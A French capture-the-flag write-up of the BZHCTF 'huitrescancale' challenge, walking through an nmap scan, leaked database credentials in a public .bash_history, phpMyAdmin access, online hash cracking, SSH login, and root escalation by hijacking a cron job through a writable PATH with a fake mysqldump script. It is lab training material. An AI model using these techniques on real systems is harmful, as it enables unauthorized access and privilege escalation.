Je commence par un scan nmap
afin d’identifier les services disponibles.
# Nmap 7.93 scan initiated Sat Mar 18 04:34:00 2023 as: nmap -sSVC -p- -T4 -oA nmap_server --open -v 10.8.0.1
Nmap scan report for 10.8.0.1
Host is up (0.044s latency).
Not shown: 65529 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 0ae5d98252c360b590da4f73cd359be4 (RSA)
| 256 9f82b5b158594844c5ba81bd54292382 (ECDSA)
|_ 256 550355fbc3bdf58fd2667f71d8b78f5f (ED25519)
70/tcp open gopher
| fingerprint-strings:
| GenericLines, GetRequest:
| i[/] TITLE null.host 1
| null.host 1
| 2023-Mar-17 17:03 -------- /./ dynamic-huitrescancale-36c80f6aebca2185-5c97d46b4c-vrdmv 70
| 2023-Mar-18 03:29 -------- /../ dynamic-huitrescancale-36c80f6aebca2185-5c97d46b4c-vrdmv 70
| 1administrator 2023-Mar-17 17:03 -------- /administrator/ dynamic-huitrescancale-36c80f6aebca2185-5c97d46b4c-vrdmv 70
| 1night 2023-Mar-17 17:04 -------- /night/ dynamic-huitrescancale-36c80f6aebca2185-5c97d46b4c-vrdmv 70
| 1robert 2023-Mar-17 17:03 -------- /robert/ dynamic-huitrescancale-36c80f6aebca2185-5c97d46b4c-vrdmv 70
| 1zeecka 2023-Mar-17 17:04 -------- /zeecka/ dynamic-huitrescancale-36c80f6aebca2185-5c97d46b4c-vrdmv 70
|_ i____________________________
| gopher-ls:
| [dir] /./ ". 2023-Mar-17 17:03 --------"
| [dir] /../ ".. 2023-Mar-18 03:29 --------"
| [dir] /administrator/ "administrator 2023-Mar-17 17:03 --------"
| [dir] /night/ "night 2023-Mar-17 17:04 --------"
| [dir] /robert/ "robert 2023-Mar-17 17:03 --------"
|_[dir] /zeecka/ "zeecka 2023-Mar-17 17:04 --------"
80/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Page Title
1193/tcp open http Apache httpd 2.4.56
|_http-title: Open VPN
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.56 (Unix)
1194/tcp open openvpn?
30000/tcp open http Apache httpd 2.4.56 ((Unix))
|_http-title: Open VPN
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.56 (Unix)
...
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Mar 18 04:34:47 2023 -- 1 IP address (1 host up) scanned in 46.63 seconds
Nous pouvons ignorer les 3 ports élevés concernant le VPN, ils sont nécessaires pour accéder à la machine, mais ne font pas partir du challenge.
Il reste donc 22 (SSH), 70 (Gopher), 80 (HTTP). Le module nmap gopher-ls
nous montre des répertoires accessibles publiquement.
Pas besoin d’un client gopher spécialisé, Firefox support le gopher, il suffit de saisir l’URL comme si c’était un site web http://10.8.0.1:70/.
En naviguant dans les répertoires, j’ai identifié les fichiers d’intérêt suivants :
- http://10.8.0.1:70/night/CacheDeception.md
- http://10.8.0.1:70/robert/databases.txt
- http://10.8.0.1:70/robert/.bash_history
- http://10.8.0.1:70/zeecka/photo_2023-03-08_16-06-19.jpg + 3 autres
Le fichier database.txt
contient une liste des bases de données.
+--------------------+
| Database |
+--------------------+
| information_schema |
| pma |
| web |
+--------------------+
La base pma
est une abréviation pour phpmyadmin
, j’ai donc directement saisi l’URL suivante http://10.8.0.1/phpmyadmin/.
Note : il était aussi possible de trouver ce dossier par énumération avec ffuf
.
Ensuite le fichier .bash_history
contient des commandes mariadb
avec des identifiants passés en paramètre.
...
mariadb -u robert -p web
mariadb -u robert -p assword web
...
Ces identifiants nous permettent de se connecter au PhpMyAdmin, de sélectionner le schéma marche
et d’effectuer la requête suivante SELECT * FROM 'Administration'
.
Cela permet de trouver le condensat de mot de passe et le nom de compte suivant :
1 robert 28f9a6609d25c11f6928e6b74a324fc8
Je balance le condensat sur https://crackstation.net/ sans vergogne, je remplis le capchta comme je ne suis pas un robot, et je récupère bassement le mot de passe Robert35
.
Note : J’imagine que certains sagouins n’ayant pas fait le lien entre pma et phpmyadmin ont du s’en sortir avec de l’attaque par force brute comme le nom d’utilisateur robert
était visible via gopher.
Je me connecte au serveur en SSH et je capture le premier drapeau 🏳️ !
robert@dynamic-huitrescancale-36c80f6aebca2185-5c97d46b4c-vrdmv:/home$ cat /flag_user.txt
BZHCTF{LeMouchoir
Je déploie un petit linPEAS
en SCP et roule ma poule sur le chemin de l’élévation de privilèges.
scp /usr/share/peass/linPEAS/linpeas_linux_amd64 robert@10.8.0.1:lin
Oulalala, attention, il y a des droits étranges (PATH=/home/robert
) sur une tâche cron qui tourne en administrator
, comme c’est bizarre.
robert@dynamic-huitrescancale-36c80f6aebca2185-5c97d46b4c-vrdmv:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/home/robert:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
#17 * * * * root cd / && run-parts --report /etc/cron.hourly
#25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
#47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
#52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/1 * * * * administrator mysqldump -u robert -password marche > /tmp/backup.sql
Comme il n’y a pas vi
, vim
, nano
, etc. sur la machine, je crée un fichier mysqldump
en local dans le but d’abuser du chemin et détourner la tâche cron.
#!/bin/bash
cat /flag_root.txt > /tmp/.noraj.txt
Toujours en SCP, je dépose mon fichier :
scp mysqldump robert@10.8.0.1:mysqldump
Quelques secondes plus tard, je peux lire le second drapeau 🏴 !
robert@dynamic-huitrescancale-36c80f6aebca2185-5c97d46b4c-vrdmv:~$ cat /tmp/.noraj.txt
CestUnParcAHuîtres}
Et voici le drapeau complet BZHCTF{LeMouchoirCestUnParcAHuîtres}
🏳️🏴.
Solution de l’auteur du challenge.
À propos de l’auteur
Article écrit par Alexandre ZANNI alias noraj, Ingénieur en Test d’Intrusion chez ACCEIS.